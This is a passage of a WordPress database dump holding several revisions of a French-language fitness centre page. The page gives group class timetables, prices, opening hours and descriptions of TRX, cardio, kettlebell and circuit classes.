5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:53:34', '2013-07-03 15:53:34', '', 11, 'http://www.crosstrainingcenter.be/?p=157', 0, 'revision', '', 0),
(158, 1, '2013-07-03 15:54:03', '2013-07-03 15:54:03', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:54:03', '2013-07-03 15:54:03', '', 11, 'http://www.crosstrainingcenter.be/?p=158', 0, 'revision', '', 0),
(161, 1, '2013-07-03 16:09:17', '2013-07-03 16:09:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:09:17', '2013-07-03 16:09:17', '', 11, 'http://www.crosstrainingcenter.be/?p=161', 0, 'revision', '', 0),
(159, 1, '2013-07-03 15:55:25', '2013-07-03 15:55:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- 